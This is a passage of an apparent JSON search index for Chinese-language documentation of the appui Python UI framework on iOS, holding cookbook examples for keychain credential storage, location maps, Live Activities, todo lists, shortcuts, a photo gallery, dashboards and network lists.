biometric.authenticate_with_passcode(\"验证身份以读取 Keychain 凭据\")\n if not result.get(\"success\"):\n state.status = f\"验证失败:{result.get('error', 'canceled')}\"\n haptics.notification(\"error\")\n return\n value = keychain.get_password(state.service.strip(), state.account.strip())\n if value is None:\n state.batch_update(status=\"未找到对应凭据\", revealed=\"\")\n haptics.notification(\"warning\")\n return\n state.batch_update(status=\"读取成功\", revealed=value)\n haptics.notification(\"success\")\n\n\ndef delete_secret():\n keychain.delete_password(state.service.strip(), state.account.strip())\n state.batch_update(status=\"已删除\", secret=\"\", revealed=\"\")\n haptics.notification(\"success\")\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form(\n [\n appui.Section(\n [\n appui.LabeledContent(\"当前验证方式\", value=state.auth_type or \"未知\"),\n appui.Button(\"刷新验证能力\", action=refresh_auth_type),\n ],\n header=\"设备验证\",\n footer=\"读取敏感凭据前使用系统验证;不要自己实现密码弹窗替代系统验证。\",\n ),\n appui.Section(\n [\n appui.TextField(\"服务名\", text=state.service, on_change=update_service),\n appui.TextField(\"账号\", text=state.account, on_change=update_account),\n appui.SecureField(\"Token 或密码\", text=state.secret, on_change=update_secret),\n ],\n header=\"凭据\",\n ),\n appui.Section(\n [\n appui.Button(\"保存到 Keychain\", action=save_secret)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"验证并读取\", action=reveal_secret),\n appui.Button(\"删除\", action=delete_secret).foreground_color(\"systemRed\"),\n ],\n header=\"操作\",\n ),\n appui.Section(\n [\n appui.LabeledContent(\"状态\", value=state.status),\n appui.Text(state.revealed or \"验证后显示读取结果\")\n .font(\"callout\")\n .foreground_color(\"secondaryLabel\"),\n ],\n header=\"结果\",\n ),\n ]\n ).navigation_title(\"凭据库\")\n )\n\n\nappui.run(body, state=state, presentation=\"sheet\") 关键技巧 敏感字符串进 keychain,不要写入 storage。 写入/读取/删除放在按钮动作里;get_password 返回 None 时要能恢复 UI 状态。 录入用 SecureField;展示前走系统生物识别/密码验证。" + }, + { + "id": "appui-cookbook-location-map", + "title": "示例:定位地图", + "subtitle": "location 权限、坐标采样和 MapView 标记当前位置。", + "section": "appui / 示例", + "url": "pages/appui-cookbook-location-map/", + "text": "示例:定位地图 location 权限、坐标采样和 MapView 标记当前位置。 appui 示例 appui cookbook location map 定位 MapView location get_location start_updates 定位地图 MiniApp 演示 location 权限、start_updates/get_location 与 appui.MapView 标记当前位置。 预期效果 运行后会出现定位地图页,授权、坐标采样、地图标记和状态摘要在同一屏展示。 完整示例 import time\n\nimport appui\nimport location\nimport permission\n\n\nDEFAULT_LAT = 31.2304\nDEFAULT_LON = 121.4737\n\nstate = appui.State(\n status=\"未定位\",\n latitude=DEFAULT_LAT,\n longitude=DEFAULT_LON,\n accuracy=\"--\",\n authorized=False,\n)\n\n\ndef refresh_location():\n timeout = 10.0\n state.status = \"正在请求定位权限...\"\n\n auth = location.authorization_status()\n if auth in (\"denied\", \"restricted\"):\n state.authorized = False\n state.status = \"定位权限不可用,请到系统设置允许定位\"\n return\n\n location.request_access()\n\n deadline = time.time() + timeout\n while time.time() < deadline:\n auth = location.authorization_status()\n if auth in (\"denied\", \"restricted\"):\n state.authorized = False\n state.status = \"定位权限不可用,请到系统设置允许定位\"\n return\n if auth not in (\"not_determined\", \"unknown\"):\n break\n time.sleep(0.25)\n\n state.status = \"正在定位...\"\n location.start_updates()\n time.sleep(0.5)\n try:\n while time.time() < deadline:\n loc = location.get_location()\n if loc and loc.get(\"latitude\") is not None:\n state.authorized = True\n state.latitude = float(loc.get(\"latitude\", DEFAULT_LAT))\n state.longitude = float(loc.get(\"longitude\", DEFAULT_LON))\n state.accuracy = f\"{float(loc.get('accuracy', 0.0)):.0f} m\"\n state.status = \"定位成功\"\n return\n time.sleep(0.35)\n finally:\n location.stop_updates()\n\n state.authorized = False\n state.status = \"暂未获得坐标,请稍后重试\"\n\n\ndef body():\n marker = {\n \"latitude\": state.latitude,\n \"longitude\": state.longitude,\n \"title\": \"当前位置\",\n }\n return appui.NavigationStack(\n appui.List(\n [\n appui.Section(\n [\n appui.MapView(\n latitude=state.latitude,\n longitude=state.longitude,\n span=0.02,\n markers=[marker],\n ).frame(height=280),\n ],\n header=\"地图\",\n ),\n appui.Section(\n [\n appui.LabeledContent(\"状态\", value=state.status),\n appui.LabeledContent(\"纬度\", value=f\"{state.latitude:.5f}\"),\n appui.LabeledContent(\"经度\", value=f\"{state.longitude:.5f}\"),\n appui.LabeledContent(\"精度\", value=state.accuracy),\n ],\n header=\"当前位置\",\n ),\n appui.Section(\n [\n appui.Button(\"刷新定位\", action=refresh_location)\n .button_style(\"bordered_prominent\"),\n ],\n footer=\"真机测试最可靠;模拟器需要先设置模拟位置。\",\n ),\n ]\n ).navigation_title(\"定位地图\")\n )\n\n\nappui.run(body, state=state, presentation=\"fullscreen_with_close\") 关键技巧 request_access 后需 start_updates() 再轮询 get_location();读完后记得 stop_updates()。 首次 get_location() 常为 None,用状态文案提示“正在定位”并可重试。 固定地点展示可只用 MapView,不必接 location 模块。" + }, + { + "id": "appui-cookbook-live-activity-background", + "title": "示例:实时活动与后台任务", + "subtitle": "Live Activity、有限后台时间、后台刷新和完成通知。", + "section": "appui / 示例", + "url": "pages/appui-cookbook-live-activity-background/", + "text": "示例:实时活动与后台任务 Live Activity、有限后台时间、后台刷新和完成通知。 appui 示例 appui cookbook live_activity background 实时活动 Live Activity live_activity background schedule_refresh 实时活动与后台任务 演示 live_activity 启停与更新、background 有限后台时间与 notification 收尾提醒。 预期效果 运行后会出现实时活动与后台任务控制页,进度、后台刷新和完成通知状态会同步显示。 完整示例 import time\n\nimport appui\nimport background\nimport haptics\nimport live_activity\nimport notification\n\nstate = appui.State(\n title=\"同步任务\",\n message=\"准备开始\",\n progress=0.0,\n status=\"未启动\",\n remaining=\"--\",\n supported=False,\n)\n\n\ndef set_title(value):\n state.title = value\n\n\ndef set_message(value):\n state.message = value\n\n\ndef set_progress(value):\n progress = max(0.0, min(1.0, float(value)))\n state.batch_update(progress=progress, status=f\"进度草稿:{progress:.0%}\")\n\n\ndef refresh_support():\n supported = live_activity.is_supported()\n state.batch_update(\n supported=supported,\n status=\"支持 Live Activity\" if supported else \"当前设备或系统不支持 Live Activity\",\n remaining=f\"{background.remaining_time():.0f} 秒\",\n )\n\n\ndef start_activity():\n if not live_activity.is_supported():\n state.status = \"当前设备不支持 Live Activity\"\n haptics.notification(\"warning\")\n return\n live_activity.start(\n title=state.title,\n message=state.message,\n progress=state.progress,\n icon=\"arrow.triangle.2.circlepath\",\n compact_text=f\"{state.progress:.0%}\",\n )\n state.status = \"Live Activity 已启动\"\n haptics.notification(\"success\")\n\n\ndef update_activity():\n live_activity.update(\n title=state.title,\n message=state.message,\n progress=state.progress,\n compact_text=f\"{state.progress:.0%}\",\n )\n state.status = \"已更新 Live Activity\"\n haptics.selection()\n\n\ndef begin_background_window():\n ok = background.begin_task()\n state.batch_update(\n status=\"已申请有限后台时间\" if ok else \"无法申请后台时间\",\n remaining=f\"{background.remaining_time():.0f} 秒\",\n )\n haptics.notification(\"success\" if ok else \"error\")\n\n\ndef end_workflow():\n live_activity.end(message=\"任务完成\", dismiss_delay=2.0)\n background.end_task()\n notification.request_permission()\n notification.schedule(\n \"live-activity-demo-complete\",\n state.title,\n \"任务已完成\",\n delay=1,\n )\n state.batch_update(status=\"已结束并安排通知\", progress=1.0)\n haptics.notification(\"success\")\n\n\ndef schedule_refresh():\n ok = background.schedule_refresh(\"app.pythonide.demo.refresh\", time.time() + 1800)\n state.status = \"已提交后台刷新请求\" if ok else \"后台刷新请求提交失败\"\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form(\n [\n appui.Section(\n [\n appui.LabeledContent(\n \"Live Activity\",\n value=\"支持\" if state.supported else \"未知\",\n ),\n appui.LabeledContent(\"剩余后台时间\", value=state.remaining),\n appui.Button(\"刷新状态\", action=refresh_support),\n ],\n header=\"能力\",\n ),\n appui.Section(\n [\n appui.TextField(\"标题\", text=state.title, on_change=set_title),\n appui.TextField(\"状态文案\", text=state.message, on_change=set_message),\n appui.Slider(\n value=state.progress,\n minimum=0,\n maximum=1,\n on_change=set_progress,\n ),\n appui.ProgressView(\"进度\", value=state.progress),\n ],\n header=\"任务\",\n ),\n appui.Section(\n [\n appui.Button(\"启动 Live Activity\", action=start_activity)\n .button_style(\"bordered_prominent\"),\n appui.Button(\"更新 Live Activity\", action=update_activity),\n appui.Button(\"申请后台时间\", action=begin_background_window),\n appui.Button(\"提交后台刷新\", action=schedule_refresh),\n appui.Button(\"结束任务并通知\", action=end_workflow)\n .foreground_color(\"systemGreen\"),\n ],\n header=\"操作\",\n footer=\"后台任务由系统调度,不能保证立即执行或永久运行。\",\n ),\n appui.Section(\n [appui.LabeledContent(\"状态\", value=state.status)],\n header=\"结果\",\n ),\n ]\n ).navigation_title(\"实时任务\")\n )\n\n\nappui.run(body, state=state, presentation=\"sheet\") 关键技巧 begin_task 与 end_task 成对使用;schedule_refresh 由系统决定实际执行时机。 Live Activity 适合短期可见进度,不适合当作长期保活方案。 用 UI 明确展示是否支持 Live Activity、后台剩余时间与当前流程状态。 拖动进度条只更新本地草稿;需要推送到 Live Activity 时再点击“更新 Live Activity”,避免高频滑动反复调用系统能力。" + }, + { + "id": "appui-cookbook-todo", + "title": "示例:待办列表", + "subtitle": "原生列表、搜索、稳定 id 和行级按钮。", + "section": "appui / 示例", + "url": "pages/appui-cookbook-todo/", + "text": "示例:待办列表 原生列表、搜索、稳定 id 和行级按钮。 appui 示例 appui todo list search Todo 待办 List ForEach searchable 示例:待办列表 适合做任务清单、收藏列表、轻量消息列表。这个样板使用 List + Section + ForEach,支持搜索、新增、完成切换和删除。 预期效果 运行后会出现可搜索的待办列表,支持新增、完成切换和滑动删除,行身份由 id 保持稳定。 完整代码 import appui\n\nstate = appui.State(\n query=\"\",\n next_id=4,\n items=[\n {\"id\": 1, \"title\": \"Review layout\", \"done\": False},\n {\"id\": 2, \"title\": \"Check interactions\", \"done\": True},\n {\"id\": 3, \"title\": \"Polish examples\", \"done\": False},\n ],\n)\n\n\ndef visible_items():\n query = state.query.lower().strip()\n if not query:\n return list(state.items)\n return [item for item in state.items if query in item[\"title\"].lower()]\n\n\ndef item_key(item):\n return item[\"id\"]\n\n\ndef add_item():\n item = {\"id\": state.next_id, \"title\": f\"Task {state.next_id}\", \"done\": False}\n state.items = [item] + list(state.items)\n state.next_id += 1\n\n\ndef set_query(value):\n state.query = value\n\n\ndef toggle_by_id(item_id):\n updated = []\n for item in state.items:\n if item[\"id\"] == item_id:\n updated.append({**item, \"done\": not item[\"done\"]})\n else:\n updated.append(item)\n state.items = updated\n\n\ndef delete_by_id(item_id):\n state.items = [item for item in state.items if item[\"id\"] != item_id]\n\n\ndef row_view(item):\n def toggle_item():\n toggle_by_id(item[\"id\"])\n\n def delete_item():\n delete_by_id(item[\"id\"])\n\n title = item[\"title\"]\n symbol = \"checkmark.circle.fill\" if item[\"done\"] else \"circle\"\n color = \"systemGreen\" if item[\"done\"] else \"secondaryLabel\"\n\n return (\n appui.Button(\n action=toggle_item,\n content=appui.HStack([\n appui.Image(system_name=symbol).foreground_color(color),\n appui.Text(title).frame(max_width=appui.infinity, alignment=\"leading\"),\n ], spacing=10),\n )\n .button_style(\"plain\")\n .swipe_actions(actions=[\n appui.Button(\"Delete\", action=delete_item, role=\"destructive\")\n ])\n )\n\n\ndef body():\n rows = appui.ForEach(visible_items(), row_builder=row_view, key=item_key)\n task_list = (\n appui.List([\n appui.Section(f\"{len(visible_items())} tasks\", [rows])\n ])\n .navigation_title(\"Todo\")\n .searchable(text=state.query, on_change=set_query)\n .toolbar([\n appui.ToolbarItem(\n placement=\"navigation_bar_trailing\",\n content=appui.Button(action=add_item, content=appui.Image(system_name=\"plus\")),\n )\n ])\n )\n\n return appui.NavigationStack(\n task_list\n )\n\n\nappui.run(body, state=state) 可复用点 搜索状态单独保存。 行操作按 id 查找,不依赖筛选后的 index。 动态列表替换整个 state.items,避免原地修改导致刷新语义不清。 新增、切换、删除、搜索都有真实命名回调。" + }, + { + "id": "appui-cookbook-shortcuts-launcher", + "title": "示例:快捷指令启动器", + "subtitle": "运行快捷指令、打开 URL、系统设置入口和复制链接。", + "section": "appui / 示例", + "url": "pages/appui-cookbook-shortcuts-launcher/", + "text": "示例:快捷指令启动器 运行快捷指令、打开 URL、系统设置入口和复制链接。 appui 示例 appui cookbook shortcuts clipboard 快捷指令 Shortcuts run_shortcut open_url open_settings clipboard 快捷指令启动器 演示 shortcuts.run_shortcut、open_url、open_settings 与自动化入口列表。 预期效果 运行后会出现快捷指令启动器,运行快捷指令、打开 URL、复制链接和状态反馈都在列表中完成。 完整示例 import appui\nimport clipboard\nimport haptics\nimport shortcuts\n\nstate = appui.State(\n shortcut_name=\"\",\n url=\"https://apple.com\",\n status=\"等待操作\",\n entries=[\n {\"title\": \"打开 Apple\", \"url\": \"https://apple.com\", \"icon\": \"safari.fill\"},\n {\"title\": \"打开 Pythonista Scheme\", \"url\": \"pythonista://\", \"icon\": \"terminal.fill\"},\n {\n \"title\": \"复制快捷指令库链接\",\n \"url\": \"https://www.icloud.com/shortcuts/\",\n \"icon\": \"doc.on.doc.fill\",\n },\n ],\n)\n\n\ndef set_shortcut_name(value):\n state.shortcut_name = value\n\n\ndef set_url(value):\n state.url = value\n\n\ndef run_named_shortcut():\n name = state.shortcut_name.strip()\n if not name:\n state.status = \"请输入快捷指令名称\"\n haptics.notification(\"warning\")\n return\n ok = shortcuts.run_shortcut(name)\n state.status = f\"已发起:{name}\" if ok else f\"无法运行:{name}\"\n haptics.notification(\"success\" if ok else \"error\")\n\n\ndef open_current_url():\n url = state.url.strip()\n if not url:\n state.status = \"请输入 URL\"\n haptics.notification(\"warning\")\n return\n ok = shortcuts.open_url(url)\n state.status = f\"已打开:{url}\" if ok else f\"无法打开:{url}\"\n haptics.notification(\"success\" if ok else \"error\")\n\n\ndef open_settings():\n ok = shortcuts.open_settings()\n state.status = \"已打开系统设置\" if ok else \"无法打开系统设置\"\n\n\ndef copy_url(url):\n clipboard.set(url)\n state.status = \"已复制链接\"\n haptics.selection()\n\n\ndef entry_row(item):\n def open_current():\n shortcuts.open_url(item[\"url\"])\n\n def copy_current():\n copy_url(item[\"url\"])\n\n return appui.HStack(\n [\n appui.Image(system_name=item[\"icon\"]).foreground_color(\"systemBlue\"),\n appui.VStack(\n [\n appui.Text(item[\"title\"]).font(\"headline\"),\n appui.Text(item[\"url\"]).font(\"caption\").foreground_color(\"secondaryLabel\"),\n ],\n alignment=\"leading\",\n ),\n appui.Spacer(),\n appui.Button(\"打开\", action=open_current),\n appui.Button(\"复制\", action=copy_current),\n ],\n spacing=10,\n )\n\n\ndef entry_key(item):\n return item[\"url\"]\n\n\ndef body():\n return appui.NavigationStack(\n appui.List(\n [\n appui.Section(\n [\n appui.TextField(\n \"快捷指令名称\",\n text=state.shortcut_name,\n on_change=set_shortcut_name,\n ),\n appui.Button(\"运行快捷指令\", action=run_named_shortcut)\n .button_style(\"bordered_prominent\"),\n ],\n header=\"快捷指令\",\n ),\n appui.Section(\n [\n appui.TextField(\"URL 或 Scheme\", text=state.url, on_change=set_url),\n appui.Button(\"打开 URL\", action=open_current_url),\n appui.Button(\"打开当前 App 设置\", action=open_settings),\n ],\n header=\"系统入口\",\n ),\n appui.Section(\n [appui.ForEach(state.entries, entry_row, key=entry_key)],\n header=\"自动化入口\",\n ),\n appui.Section(\n [appui.LabeledContent(\"状态\", value=state.status)],\n header=\"结果\",\n ),\n ]\n ).navigation_title(\"自动化\")\n )\n\n\nappui.run(body, state=state, presentation=\"sheet\") 关键技巧 run_shortcut 只负责拉起快捷指令,不返回快捷指令的执行结果。 open_url / open_settings 放在按钮回调里,勿在 body() 构建时调用。 用户输入的 URL 先 strip 再打开。" + }, + { + "id": "appui-cookbook-gallery", + "title": "示例:相册浏览器", + "subtitle": "LazyVGrid、AsyncImage、PhotoPicker、详情导航和全屏预览。", + "section": "appui / 示例", + "url": "pages/appui-cookbook-gallery/", + "text": "示例:相册浏览器 LazyVGrid、AsyncImage、PhotoPicker、详情导航和全屏预览。 appui 示例 appui cookbook gallery media 相册浏览器 LazyVGrid AsyncImage PhotoPicker NavigationLink sheet 相册浏览器 本页演示:LazyVGrid + AsyncImage 展示远程缩略图、PhotoPicker 将相册资源加入列表、NavigationStack + NavigationLink 进入详情,以及用 .sheet 做全屏感预览。 预期效果 运行后会出现相册网格,支持添加图片、打开详情、全屏查看和处理空状态。 状态字段说明 字段 类型意图 更新来源 `urls` 字符串列表,元素为 `https` 或 `file://` 初始内置远程图;`PhotoPicker` 回调追加本地资源。 `sheet_open` 布尔 用户打开/关闭全屏预览。 `sheet_url` 字符串 当前预览指向的 URL;与 `AsyncImage` 的 `url` 参数一致。 保持 sheet_url 仅在 sheet_open 为真时读取,可避免旧 URL 在模态关闭后仍参与布局的短暂闪烁(示例未强制清空,以便演示简单)。 要点 PhotoPicker(selection_limit, filter, on_picked, label):filter 取 images、videos 或 all;on_picked 收到本地路径字符串列表。 AsyncImage(url, placeholder, error_view, content_mode):content_mode 为 fit 或 fill。 NavigationLink 可用 label 传入任意 View,适合「缩略图即入口」。 模态预览使用根视图上的 .sheet(is_presented=..., content=..., on_dismiss=...)。 完整示例 import appui\n\nstate = appui.State(\n urls=[\n \"https://picsum.photos/id/64/600/600\",\n \"https://picsum.photos/id/65/600/600\",\n \"https://picsum.photos/id/66/600/600\",\n ],\n sheet_open=False,\n sheet_url=\"\",\n)\n\n\ndef _normalize_url(path_or_url):\n s = str(path_or_url)\n if s.startswith((\"http://\", \"https://\", \"file://\")):\n return s\n return \"file://\" + s\n\n\ndef on_picked(paths):\n next_urls = list(state.urls)\n for p in paths or []:\n u = _normalize_url(p)\n if u not in next_urls:\n next_urls.append(u)\n state.urls = next_urls\n\n\ndef open_sheet(url):\n state.batch_update(sheet_open=True, sheet_url=url)\n\n\ndef close_sheet():\n state.batch_update(sheet_open=False, sheet_url=\"\")\n\n\ndef thumb(url):\n return appui.AsyncImage(\n url=url,\n placeholder=appui.ProgressView(),\n error_view=appui.Image(system_name=\"photo\"),\n content_mode=\"fill\",\n ).frame(height=120).clip_shape(\"rounded_rect\").corner_radius(10)\n\n\ndef detail(url):\n def preview_current():\n open_sheet(url)\n\n return appui.ScrollView(\n appui.VStack(\n [\n appui.AsyncImage(\n url=url,\n placeholder=appui.ProgressView(),\n error_view=appui.Image(system_name=\"exclamationmark.triangle\"),\n content_mode=\"fit\",\n ).frame(max_width=appui.infinity),\n appui.Button(\n \"全屏预览\",\n action=preview_current,\n ).button_style(\"bordered_prominent\"),\n ],\n spacing=12,\n ).padding(16)\n ).navigation_title(\"详情\")\n\n\ndef sheet_root():\n return appui.ZStack(\n [\n appui.Color(\"systemBackground\"),\n appui.VStack(\n [\n appui.HStack(\n [\n appui.Button(\"关闭\", action=close_sheet).button_style(\"bordered\"),\n appui.Spacer(),\n ]\n ).padding(12),\n appui.AsyncImage(\n url=state.sheet_url,\n placeholder=appui.ProgressView(),\n content_mode=\"fit\",\n )\n .frame(max_width=appui.infinity, max_height=appui.infinity)\n .padding(12),\n appui.Spacer(min_length=0),\n ]\n ),\n ]\n )\n\n\ndef body():\n col = appui.adaptive(minimum=104, maximum=160)\n grid = appui.LazyVGrid(\n columns=[col],\n spacing=10,\n content=[\n appui.NavigationLink(\n destination=detail(u),\n label=thumb(u),\n )\n for u in state.urls\n ],\n )\n root = appui.NavigationStack(\n appui.ScrollView(\n appui.VStack(\n [\n appui.HStack(\n [\n appui.PhotoPicker(\n selection_limit=6,\n filter=\"images\",\n on_picked=on_picked,\n label=appui.Label(\"从相册添加\", system_image=\"photo.fill\"),\n ),\n appui.Spacer(),\n ]\n ).padding(horizontal=16),\n grid.padding(horizontal=12),\n ],\n spacing=12,\n )\n ).navigation_title(\"相册浏览器\")\n )\n return root.sheet(\n is_presented=state.sheet_open,\n on_dismiss=close_sheet,\n content=sheet_root(),\n )\n\n\nappui.run(body, state=state, presentation=\"sheet\") 说明 本地路径与 AsyncImage :相册回调多为文件路径;示例通过 file:// 前缀拼成 URL 形式字符串,便于与远程 https 资源统一存入 state.urls。 导航与模态 :NavigationLink 负责栈内详情;sheet 适合「沉浸式预览」或临时操作面板,两者可同时存在。 性能 :LazyVGrid 仅构建可见区域的子视图,适合大量缩略图;仍建议控制 selection_limit 与列表长度。 权限与数据来源 相册读取 :PhotoPicker 依赖系统照片权限;首次使用若未授权,回调可能为空列表。示例在 on_picked 中对 paths 做空值容错(for p in paths or [])。 远程图片 :AsyncImage 使用网络 URL 时需允许应用访问对应域;演示域名 picsum.photos 仅作占位,可替换为你自己的 CDN。 file:// 路径 :不同运行环境返回的路径前缀可能不同;_normalize_url 仅做最小归一化。若遇到加载失败,请检查当前环境是否允许读取该路径。 交互变体 只用模态、不用导航栈 :可将 NavigationStack 替换为 ScrollView + on_tap 打开 sheet,适合全屏单页工具。 详情页再加操作菜单 :在 detail(url) 内为工具栏添加 Menu(title, content=[Button(...)]),将删除、分享等操作收纳到菜单中。 AsyncImage 与占位策略 占位视图 :placeholder 与 error_view 均为可选 View;常见组合是 ProgressView() + Image(system_name=\"exclamationmark.triangle\")。 content_mode :fill 适合缩略图铺满单元格(配合 clip_shape);详情页大图多用 fit 保留完整画面。 失败重试 :on_failure 回调可用于打点或递增计数器;若需 UI 级「重试」按钮,可在 State 中增加整型字段(例如 reload_nonce),在按钮 action 中自增该字段,并让 AsyncImage 的 url 字符串拼接该值,以便在下次 body() 重建时强制重新请求(仍只用已有 API)。 导航栈与模态的职责划分 导航栈(NavigationLink) :适合「进入详情后仍希望保留返回手势与标题栈上下文」的路径。 sheet :适合「临时预览、一次性操作」;关闭时务必在 on_dismiss 中复位 is_presented 关联储,避免下次无法再次弹出。 延伸阅读 SF Symbols:符号速查。 颜色与占位:颜色参考。" + }, + { + "id": "appui-cookbook-dashboard", + "title": "示例:紧凑仪表盘", + "subtitle": "看板卡片、网格布局和真实交互。", + "section": "appui / 示例", + "url": "pages/appui-cookbook-dashboard/", + "text": "示例:紧凑仪表盘 看板卡片、网格布局和真实交互。 appui 示例 appui dashboard grid 仪表盘 Dashboard LazyVGrid 卡片 metric 示例:紧凑仪表盘 适合做首页概览、运营面板、学习进度页。这个样板使用 ScrollView + LazyVGrid,卡片高度稳定,点击卡片后会更新选中状态。 预期效果 运行后会出现紧凑看板,指标卡、筛选表单和明细导航会随搜索和状态切换更新。 完整代码 import appui\n\nstate = appui.State(selected=\"Revenue\")\n\nmetrics = [\n {\n \"id\": \"revenue\",\n \"name\": \"Revenue\",\n \"value\": \"$48.2K\",\n \"delta\": \"+12%\",\n \"color\": \"systemGreen\",\n },\n {\"id\": \"users\", \"name\": \"Users\", \"value\": \"8,420\", \"delta\": \"+5%\", \"color\": \"systemBlue\"},\n {\"id\": \"errors\", \"name\": \"Errors\", \"value\": \"14\", \"delta\": \"-3%\", \"color\": \"systemOrange\"},\n {\"id\": \"uptime\", \"name\": \"Uptime\", \"value\": \"99.98%\", \"delta\": \"stable\", \"color\": \"systemTeal\"},\n]\n\n\ndef metric_key(item):\n return item[\"id\"]\n\n\ndef select_metric(name):\n state.selected = name\n\n\ndef metric_card(item):\n def open_metric():\n select_metric(item[\"name\"])\n\n content = appui.VStack([\n appui.HStack([\n appui.Text(item[\"name\"]).font(\"caption\").foreground_color(\"secondaryLabel\"),\n appui.Spacer(),\n appui.Text(item[\"delta\"]).font(\"caption\").foreground_color(item[\"color\"]),\n ]),\n appui.Text(item[\"value\"]).font(\"title2\").bold(),\n ], alignment=\"leading\", spacing=8)\n\n return (\n appui.Button(action=open_metric, content=content)\n .button_style(\"plain\")\n .frame(max_width=appui.infinity, min_height=104, alignment=\"leading\")\n .padding(14)\n .background(\"secondarySystemBackground\", corner_radius=8)\n )\n\n\ndef body():\n grid = appui.LazyVGrid(\n columns=[appui.flexible(minimum=140), appui.flexible(minimum=140)],\n spacing=12,\n content=[appui.ForEach(metrics, row_builder=metric_card, key=metric_key)],\n )\n\n header = appui.VStack([\n appui.Text(\"Operations\").font(\"largeTitle\").bold()\n .frame(max_width=appui.infinity, alignment=\"leading\"),\n appui.Text(f\"Selected: {state.selected}\")\n .foreground_color(\"secondaryLabel\")\n .frame(max_width=appui.infinity, alignment=\"leading\"),\n ], alignment=\"leading\", spacing=4)\n\n return appui.NavigationStack(\n appui.ScrollView(\n appui.VStack([header, grid], alignment=\"leading\", spacing=16).padding(16)\n )\n .navigation_title(\"Dashboard\")\n )\n\n\nappui.run(body, state=state) 筛选表单与明细导航 运营类仪表盘如果有搜索、筛选和明细页,优先用 List + Section + NavigationLink。空结果用 ContentUnavailableView,不要只留空白页面。 import appui\n\nstate = appui.State(query=\"\", status=\"All\")\n\nrows = [\n {\"id\": \"revenue\", \"name\": \"Revenue\", \"status\": \"Good\", \"value\": \"$48.2K\"},\n {\"id\": \"errors\", \"name\": \"Errors\", \"status\": \"Needs Review\", \"value\": \"14\"},\n {\"id\": \"uptime\", \"name\": \"Uptime\", \"status\": \"Good\", \"value\": \"99.98%\"},\n]\n\n\ndef row_key(row):\n return row[\"id\"]\n\n\ndef set_query(value):\n state.query = value\n\n\ndef set_status(value):\n state.status = value\n\n\ndef filtered_rows():\n query = state.query.strip().lower()\n result = rows\n if state.status != \"All\":\n result = [row for row in result if row[\"status\"] == state.status]\n if query:\n result = [row for row in result if query in row[\"name\"].lower()]\n return result\n\n\ndef detail_view(row):\n return appui.Form([\n appui.Section(\"Metric\", [\n appui.LabeledContent(\"Name\", value=row[\"name\"]),\n appui.LabeledContent(\"Status\", value=row[\"status\"]),\n appui.LabeledContent(\"Value\", value=row[\"value\"]),\n ])\n ]).navigation_title(row[\"name\"])\n\n\ndef row_view(row):\n return appui.NavigationLink(\n destination=detail_view(row),\n label=appui.LabeledContent(row[\"name\"], value=row[\"value\"]),\n )\n\n\ndef body():\n visible = filtered_rows()\n content = (\n appui.ContentUnavailableView(\n \"No Metrics\",\n system_image=\"chart.bar\",\n description=\"Change the search or filter.\",\n )\n if not visible\n else appui.ForEach(visible, row_builder=row_view, key=row_key)\n )\n\n return appui.NavigationStack(\n appui.List([\n appui.Section(\"Filter\", [\n appui.Picker(\n \"Status\",\n selection=state.status,\n options=[\"All\", \"Good\", \"Needs Review\"],\n on_change=set_status,\n )\n .picker_style(\"segmented\")\n ]),\n appui.Section(\"Metrics\", [content]),\n ])\n .searchable(text=state.query, on_change=set_query)\n .navigation_title(\"Dashboard\")\n )\n\n\nappui.run(body, state=state) 可复用点 首页看板可以用 ScrollView + LazyVGrid,但普通数据列表仍优先用 List。 卡片用 Button 包裹,点击后必须更新状态或进入详情。 用 appui.infinity,不要写字符串 \".infinity\"。 卡片 min_height 固定,避免不同内容导致网格跳动。" + }, + { + "id": "appui-cookbook-network-list", + "title": "示例:网络列表", + "subtitle": "加载状态、刷新、错误展示和远端数据列表。", + "section": "appui / 示例", + "url": "pages/appui-cookbook-network-list/", + "text": "示例:网络列表 加载状态、刷新、错误展示和远端数据列表。 appui 示例 appui cookbook network list 网络列表 loading error refreshable 网络请求列表 MiniApp 演示 network.get 拉取 JSON、加载/错误状态与可搜索列表展示。 预期效果 运行后会出现带加载状态的网络列表,刷新、错误展示和空状态都在同一页面闭环。 适合场景 API 列表、远程内容流、搜索结果页。 需要加载中、失败、空结果和下拉刷新状态的页面。 页面结构 区域 结构 作用 顶层 `NavigationStack` 页面标题和系统搜索栏。 操作区 `Section + Button` 用户主动触发网络请求。 结果区 `Section + ForEach` 稳定渲染远程数据。 失败/空状态 `ContentUnavailableView` 避免请求失败后空白。 完整示例 import appui\nimport network\n\nstate = appui.State(\n loading=False,\n error=\"\",\n query=\"\",\n items=[\n {\"id\": \"sample-1\", \"title\": \"示例数据\", \"subtitle\": \"点击刷新后替换为接口结果\"},\n ],\n)\n\n\ndef set_query(value):\n state.query = str(value)\n\n\ndef load_data():\n state.loading = True\n state.error = \"\"\n try:\n if not network.is_connected():\n state.error = \"当前没有网络连接\"\n return\n resp = network.get(\"https://jsonplaceholder.typicode.com/posts\", timeout=15)\n if not resp.ok:\n state.error = f\"HTTP {resp.status}\"\n return\n data = resp.json()\n rows = []\n for item in data[:20]:\n rows.append({\n \"id\": str(item.get(\"id\", len(rows))),\n \"title\": str(item.get(\"title\", \"Untitled\")),\n \"subtitle\": str(item.get(\"body\", \"\"))[:120],\n })\n state.items = rows\n except Exception as exc:\n state.error = str(exc)\n finally:\n state.loading = False\n\n\ndef filtered_items():\n q = state.query.strip().lower()\n if not q:\n return state.items\n return [\n item for item in state.items\n if q in item[\"title\"].lower() or q in item[\"subtitle\"].lower()\n ]\n\n\ndef item_key(item):\n return item[\"id\"]\n\n\ndef row(item):\n return appui.VStack(\n [\n appui.Text(item[\"title\"]).font(\"headline\"),\n (\n appui.Text(item[\"subtitle\"])\n .font(\"subheadline\")\n .foreground_color(\"secondaryLabel\")\n .line_limit(2)\n ),\n ],\n alignment=\"leading\",\n spacing=4,\n )\n\n\ndef body():\n result_items = filtered_items()\n result_content = []\n if state.loading:\n result_content.append(appui.ProgressView(\"正在加载...\"))\n elif state.error:\n result_content.append(\n appui.ContentUnavailableView(\n \"请求失败\",\n system_image=\"wifi.exclamationmark\",\n description=state.error,\n )\n )\n elif not result_items:\n result_content.append(\n appui.ContentUnavailableView(\n \"没有结果\",\n system_image=\"doc.text.magnifyingglass\",\n description=\"换个关键词或点击刷新数据。\",\n )\n )\n else:\n result_content.append(appui.ForEach(result_items, row_builder=row, key=item_key))\n\n return appui.NavigationStack(\n appui.List(\n [\n appui.Section(\n [\n appui.Button(\"刷新数据\", action=load_data)\n 